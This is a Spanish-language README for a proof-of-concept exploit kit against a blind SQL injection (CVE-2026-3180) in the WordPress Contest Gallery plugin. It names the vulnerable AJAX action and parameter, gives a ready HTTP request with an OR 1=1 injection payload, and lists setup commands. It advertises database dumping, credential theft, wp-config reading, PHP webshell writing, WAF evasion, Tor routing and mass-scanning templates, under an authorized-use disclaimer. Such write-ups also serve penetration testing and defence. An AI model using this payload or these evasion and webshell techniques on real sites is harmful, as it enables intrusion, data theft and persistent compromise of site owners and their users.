
Kit de explotación completo para CVE-2026-3180 - Vulnerabilidad de inyección SQL en WordPress Contest Gallery. Incluye extracción automatizada de datos, evasión de WAF, shell inversa, integración con SQLMap, generación de extensiones de Burp e informes para pruebas de penetración e investigación de seguridad.
Herramienta de evaluación de prueba de concepto para CVE-2026-3180
Autor: Sudeepa Wanigarathna · Descubrimiento original: cardosource
[!IMPORTANT] Uso autorizado únicamente. Esta herramienta es para investigación en seguridad, educación y pruebas de sistemas que posea o para los que tenga permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso.
CVE-2026-3180 es una inyección SQL ciega sin autenticar de alta gravedad en el plugin Contest Gallery de WordPress. El fallo existe en el manejador AJAX post_cg1l_resend_unconfirmed_mail_frontend, donde el parámetro cgl_mail se pasa a una consulta SQL sin la sanitización adecuada.
Este repositorio proporciona un PoC completo en Python (v2.0) para que profesionales de seguridad autorizados validen el impacto, extraigan datos de WordPress, generen informes y se integren con herramientas estándar de la industria (SQLMap, Burp Suite, Nuclei).
| Atributo | Valor |
|---|---|
| CVE ID | CVE-2026-3180 |
| CVSS | 7.5 (Alta) |
| Vector de ataque | Red — sin autenticar |
| Impacto | Violación de confidencialidad, lectura de base de datos, robo de credenciales |
| Producto afectado | WordPress Contest Gallery plugin |
| Versiones afectadas | 28.1.4 y anteriores |
| Tipo de vulnerabilidad | Inyección SQL ciega |
| DBMS | MySQL / MariaDB |
| Campo | Valor |
|---|---|
| URL | /wp-admin/admin-ajax.php |
| Método | POST |
| Acción | post_cg1l_resend_unconfirmed_mail_frontend |
| Parámetro vulnerable | cgl_mail |
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded
action=post_cg1l_resend_unconfirmed_mail_frontend &cgl_mail=qualquer'OR/**/1=1#@teste.com &cgl_page_id=1 &cgl_activation_key= &cg_nonce=%20
### Referencias
- [CVE-2026-3180](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3180)
- [Exploit-DB 52609](https://www.exploit-db.com/exploits/52609)
- [Artículo original (cardosource)](https://dev.to/22l31on/wordpress-contest-gallery-plugin-vulnerability-2ff6)
---
## Características
### Explotación principal
| Capacidad | Descripción |
|---|---|
| Detección de vulnerabilidades | Pruebas booleanas, basadas en tiempo, basadas en errores, unión y consultas apiladas |
| Extracción ciega | Extracción de caracteres mediante búsqueda binaria por inferencia booleana |
| Volcado completo de datos | Usuarios, metadatos de la base de datos, opciones, plugins, temas, entradas, tablas |
| Shell SQL interactivo | Ejecutar consultas `SELECT` arbitrarias contra el backend |
| Extracción de wp-config.php | Intentos de `LOAD_FILE()` contra rutas comunes |
| Shell inversa | Escritura de webshell PHP mediante `INTO OUTFILE` / `DUMPFILE` (cuando esté permitido) |
### Evasión y rendimiento
| Capacidad | Descripción |
|---|---|
| Bypass de WAF | Más de 15 técnicas de codificación y ofuscación |
| Multihilo | Hilos de trabajo configurables para una extracción más rápida |
| Limitación de velocidad | Retardo configurable entre solicitudes |
| Lógica de reintento | Reintentos automáticos en fallos transitorios |
| Rotación de User-Agent | Huellas dactilares de navegador aleatorias por solicitud |
| Soporte de proxy | Proxies HTTP/SOCKS y Tor (`socks5h://127.0.0.1:9050`) |
### Informes e integraciones
| Capacidad | Descripción |
|---|---|
| Generación de informes | Informes JSON y HTML con resúmenes de extracción |
| Integración con SQLMap | Comando SQLMap autogenerado con tamperers |
| Extensión de Burp Suite | Generador + `burp_contest_gallery.py` independiente |
| Plantilla de Nuclei | Plantilla YAML para detección masiva |
| Módulo de Metasploit | Módulo auxiliar en Ruby (`contest_gallery_sqli.rb`) |
| Automatización de shell | Scripts Bash para flujos de trabajo basados en curl y SQLMap |
### Operativo
| Capacidad | Descripción |
|---|---|
| Salida CLI coloreada | Registro estructurado con niveles de gravedad |
| Seguimiento de progreso | Métricas en tiempo real (solicitudes, tiempos, velocidad de extracción) |
| Modos silencioso y detallado | Adecuado para scripts y depuración |
| Manejo de señales | Limpieza ordenada con `Ctrl+C` |
| Listo para Docker | Soporte de despliegue en contenedores |
| Listo para pipelines CI/CD | Códigos de salida y salida JSON para automatización |
---
## Instalación
### Requisitos previos
- Python **3.8+**
- `pip`
- Accesibilidad de red al objetivo(s) bajo prueba
### Herramientas externas opcionales
| Herramienta | Propósito |
|---|---|
| [SQLMap](https://github.com/sqlmapproject/sqlmap) | Inyección SQL automatizada |
| [Burp Suite](https://portswigger.net/burp) | Pruebas manuales y alojamiento de extensiones |
| [Nuclei](https://github.com/projectdiscovery/nuclei) | Escaneo basado en plantillas |
| [Hashcat](https://hashcat.net/hashcat/) | Descifrado de hashes sin conexión |
| [Tor](https://www.torproject.org/) | Enrutamiento anónimo (`--proxy tor`) |
### Configuración```bash
git clone https://github.com/CerberusMrXi/WP-Contest-Gallery-28.1.4-Exploit.git
cd WP-Contest-Gallery-28.1.4-Exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2026-3180.py --help
Requeridas (tiempo de ejecución):```text requests>=2.31.0
**Recomendado (de requirements.txt):**```text
colorama>=0.4.6
tqdm>=4.65.0
pyyaml>=6.0
python-dateutil>=2.8.2
urllib3>=2.0.0
El exploit principal utiliza solo la biblioteca estándar de Python además de
requests. Paquetes adicionales mejoran la salida y los informes.
Reemplaza
http://target.examplecon un objetivo de laboratorio o autorizado únicamente.